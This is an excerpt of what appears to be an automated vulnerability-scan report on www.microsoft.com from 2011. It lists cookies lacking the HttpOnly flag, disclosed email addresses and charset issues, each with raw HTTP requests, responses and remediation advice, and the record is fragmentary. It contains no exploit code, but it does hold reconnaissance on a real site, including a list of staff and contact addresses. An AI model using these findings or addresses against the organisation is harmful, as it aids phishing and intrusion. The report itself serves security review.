There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /download/en/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:38:23 GMT Last-Modified: Tue, 23 Aug 2011 17:51:05 GMT ETag: 634496934650000000 Server: Microsoft-IIS/7.5 Set-Cookie: MS_SRDR=downloadOptInState=optIn&downloadSiteID=982E5968-67CF-4DCD-891E-39CC43A50DDB; expires=Sat, 27-Aug-2011 19:28:23 GMT; path=/ X-AspNet-Version: 2.0.50727 VTag: 791192410300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:28:23 GMT Content-Length: 144873
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /downloads/en/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: Http://www.microsoft.com/download/en/default.aspx Server: Microsoft-IIS/7.5 Set-Cookie: MS_SRDR=downloadOptInState=optIn&downloadSiteID=982E5968-67CF-4DCD-891E-39CC43A50DDB; expires=Sat, 25-Aug-2012 18:50:52 GMT; path=/ VTag: 438895131100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:52 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /downloads/en/details.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: Http://www.microsoft.com/download/en/details.aspx Server: Microsoft-IIS/7.5 Set-Cookie: MS_SRDR=downloadOptInState=optIn&downloadSiteID=982E5968-67CF-4DCD-891E-39CC43A50DDB; expires=Sat, 25-Aug-2012 19:28:28 GMT; path=/ VTag: 438598810200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:28:27 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /industry/government/solutions/usgcb/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: USPS_Visitor=F,0,0,0,0,300,fea7bb9a-04cb-4d61-8606-e50d01bc4e36,0,en,8/26/2011 12:48:45 PM; expires=Fri, 26-Aug-2061 19:48:45 GMT; path=/ VTag: 438707332400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:48:46 GMT Content-Length: 208425
The following cookie was issued by the application and does not have the HttpOnly flag set:
mkt=en-us; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /security_essentials/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: /en-us/security_essentials/geo/ Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: mkt=en-us; path=/ VTag: 791619410300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:28:22 GMT Content-Length: 156
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fen-us%2fsecurity_essentials%2fgeo%2f">here</a>.</h2> </body></html>
7. Email addresses disclosedpreviousnext There are 19 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email addresses were disclosed in the response:
abuse@hotmail.com
hotmailprivacy@hotmail.com
piracy@microsoft.com
support@hotmail.com
webmaster@msn.com
Request
GET /About/Legal/EN/US/IntellectualProperty/Copyright/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:06 GMT Last-Modified: Wed, 13 Jul 2011 21:09:58 GMT ETag: 634461629980000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791447531200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:06 GMT Content-Length: 72248
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><title> ...[SNIP]... <a href="mailto:webmaster@msn.com">webmaster@msn.com</a> ...[SNIP]... <a href="mailto:support@hotmail.com">support@hotmail.com</a> ...[SNIP]... <a href="mailto:abuse@hotmail.com">abuse@hotmail.com</a> or <a href="mailto:hotmailprivacy@hotmail.com">hotmailprivacy@hotmail.com</a> ...[SNIP]... <a href="mailto:piracy@microsoft.com">piracy@microsoft.com</a> ...[SNIP]...
The following email address was disclosed in the response:
phlisten@microsoft.com
Request
GET /en/ph/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:27 GMT Last-Modified: Wed, 10 Aug 2011 09:04:49 GMT ETag: 634485386890000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 VTag: 79133331200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:26 GMT Content-Length: 50293
The following email addresses were disclosed in the response:
estinfo@microsoft.com
rain.laane@microsoft.com
Request
GET /et/ee/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:50:54 GMT Last-Modified: Mon, 25 Jul 2011 11:17:07 GMT ETag: 634471642270000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438563142300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:40:53 GMT Content-Length: 77828
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="et"><head><title> ...[SNIP]... <a href="http://support.microsoft.com/contactus/?ws=support">MICROSOFTI KLIENDITEENINDUS JA TEHNILINE TUGI: 686 8868 E-R 8-20 estinfo@microsoft.com</a> ...[SNIP]... <a href="mailto:rain.laane@microsoft.com"> ...[SNIP]...
The following email address was disclosed in the response:
finland@microsoft.com
Request
GET /fi/fi/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:06 GMT Last-Modified: Wed, 24 Aug 2011 10:08:40 GMT ETag: 634497521200000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438928942100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:06 GMT Content-Length: 77500
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="fi"><head><title> ...[SNIP]... <a href="mailto:finland@microsoft.com" cpgn="Highlights" cid="04-00-111LFI10031"> ...[SNIP]...
The following email addresses were disclosed in the response:
midas-qa@microsoft.com
msfdcc@microsoft.com
Request
GET /industry/government/solutions/usgcb/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: USPS_Visitor=F,0,0,0,0,300,fea7bb9a-04cb-4d61-8606-e50d01bc4e36,0,en,8/26/2011 12:48:45 PM; expires=Fri, 26-Aug-2061 19:48:45 GMT; path=/ VTag: 438707332400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:48:46 GMT Content-Length: 208425
The following email address was disclosed in the response:
lithinfo@microsoft.com
Request
GET /lt/lt/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:02 GMT Last-Modified: Tue, 16 Aug 2011 14:34:19 GMT ETag: 634490768590000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279271442300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:01 GMT Content-Length: 62897
The following email address was disclosed in the response:
latinfo@microsoft.com
Request
GET /lv/lv/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:07 GMT Last-Modified: Thu, 18 Aug 2011 18:00:44 GMT ETag: 634492620440000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438217442400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:06 GMT Content-Length: 74837
The following email address was disclosed in the response:
v-mazale@microsoft.com
Request
GET /poland/centrumprasowe/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791979942700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:01 GMT Content-Length: 18534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Microsoft Cent ...[SNIP]... <a href="mailto:v-mazale@microsoft.com?body=Chc.. otrzymywa.. informacje prasowe firmy Microsoft.%0A%0AImi.. i nazwisko:%0ARedakcja:%0Ae-mail:%0Atelefon stacjonarny:%0Afaks:%0Atelefon kom..rkowy:%0A%0ARodzaj informacji prasowych (Tak/ ...[SNIP]...
The following email address was disclosed in the response:
v-mazale@microsoft.com
Request
GET /poland/centrumprasowe/firma/kierownictwo.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438481743200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:05:54 GMT Content-Length: 18686
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Kierownictwo - ...[SNIP]... <a href="mailto:v-mazale@microsoft.com?body=Chc.. otrzymywa.. informacje prasowe firmy Microsoft.%0A%0AImi.. i nazwisko:%0ARedakcja:%0Ae-mail:%0Atelefon stacjonarny:%0Afaks:%0Atelefon kom..rkowy:%0A%0ARodzaj informacji prasowych (Tak/ ...[SNIP]...
The following email address was disclosed in the response:
v-mazale@microsoft.com
Request
GET /poland/centrumprasowe/firma/misja.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438547441900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:05 GMT Content-Length: 14651
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Misja i w ...[SNIP]... <a href="mailto:v-mazale@microsoft.com?body=Chc.. otrzymywa.. informacje prasowe firmy Microsoft.%0A%0AImi.. i nazwisko:%0ARedakcja:%0Ae-mail:%0Atelefon stacjonarny:%0Afaks:%0Atelefon kom..rkowy:%0A%0ARodzaj informacji prasowych (Tak/ ...[SNIP]...
The following email address was disclosed in the response:
v-mazale@microsoft.com
Request
GET /poland/centrumprasowe/firma/siedziby.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279146742400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:00 GMT Content-Length: 14742
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Siedziby firmy ...[SNIP]... <a href="mailto:v-mazale@microsoft.com?body=Chc.. otrzymywa.. informacje prasowe firmy Microsoft.%0A%0AImi.. i nazwisko:%0ARedakcja:%0Ae-mail:%0Atelefon stacjonarny:%0Afaks:%0Atelefon kom..rkowy:%0A%0ARodzaj informacji prasowych (Tak/ ...[SNIP]...
The following email addresses were disclosed in the response:
webmaster@msn.com
www@microsoft.com
Request
GET /poland/copyright/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791305742500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:05 GMT Content-Length: 18283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Zasady u.. ...[SNIP]... <a href="mailto:www@microsoft.com"> www@microsoft.com</a> lub <a href="mailto:webmaster@msn.com">webmaster@msn.com</a> ...[SNIP]...
The following email address was disclosed in the response:
inet@microsoft.com
Request
GET /poland/corp/corp.htm HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=900 Content-Type: text/html Last-Modified: Fri, 12 Mar 2004 13:22:22 GMT Accept-Ranges: bytes ETag: "07b24d358c41:0" Server: Microsoft-IIS/7.5 VTag: 438547441900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:09 GMT Content-Length: 1313
<HTML><HEAD><TITLE>Zasady u.ytkowania witryny Microsoft</TITLE> <meta http-equiv="PICS-Label" content='(PICS-1.1 "<http://www.rsac.org/ratingsv01.html>" l gen true comment "RSACi North America Server" by "inet@microsoft.com <mailto:inet@microsoft.com>" on "1997.06.30T14:48-0500" r (n 0 s 0 v 0 l 0))'> ...[SNIP]...
The following email address was disclosed in the response:
janklecz@microsfot.com
Request
GET /poland/edukacja/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791793342600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:05:24 GMT Content-Length: 66505
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Microsoft Eduk ...[SNIP]... <a href="mailto:janklecz@microsfot.com">janklecz@microsfot.com</a> ...[SNIP]...
The following email address was disclosed in the response:
icpoland@microsoft.com
Request
GET /poland/edukacja/imaginecup/Polscy-zwyciezcy-Imagine-Cup-2011.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438346542100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:05:23 GMT Content-Length: 19602
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
oemwspl@microsoft.com
Request
GET /poland/gotowydopracy/index.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279235210100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:59:53 GMT Content-Length: 7782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl"> <head><meta http-e ...[SNIP]... <a href="mailto:oemwspl@microsoft.com">oemwspl@microsoft.com</a> ...[SNIP]...
The following email address was disclosed in the response:
pomoc@microsoft.com
Request
GET /poland/oem/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438707143100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:05:23 GMT Content-Length: 10290
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
pomoc@microsoft.com
Request
GET /poland/savethemoney/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: cookieActive=true; expires=Fri, 26-Aug-2011 20:05:59 GMT; path=/ Set-Cookie: setSilverlightInstalled=true; expires=Fri, 26-Aug-2011 20:33:59 GMT; path=/ VTag: 27986630900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:03:59 GMT Content-Length: 20029
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta name="desc ...[SNIP]... <a id="writeUs" href="mailto:pomoc@microsoft.com" title="Napisz do nas" target="_blank"> ...[SNIP]...
HTTP/1.1 200 OK Cache-Control: max-age=900 Content-Type: application/x-javascript Last-Modified: Tue, 28 Jun 2011 20:55:25 GMT Accept-Ranges: bytes ETag: "801cefb3d535cc1:0" Vary: Accept-Encoding Server: Microsoft-IIS/7.5 VTag: 438424642200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:56:51 GMT Content-Length: 50546
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /info/pl/privacy.htm HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=900 Content-Type: text/html Last-Modified: Tue, 03 Feb 2004 21:19:23 GMT Accept-Ranges: bytes ETag: "5d8125659beac31:0" Server: Microsoft-IIS/7.5 VTag: 438292400400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:17:18 GMT Content-Length: 134
GET /library/errorpages/searchMetric.html HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=900 Content-Type: text/html Last-Modified: Fri, 13 Jun 2008 16:29:48 GMT Accept-Ranges: bytes ETag: "50d7b7b272cdc81:0" Server: Microsoft-IIS/7.5 VTag: 279410510200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:28:29 GMT Content-Length: 437
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
<head> <title>ErrorSearch ...[SNIP]...
9. HTML uses unrecognised charsetpreviousnext There are 2 instances of this issue:
Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:
utf-16
utf-8
Request
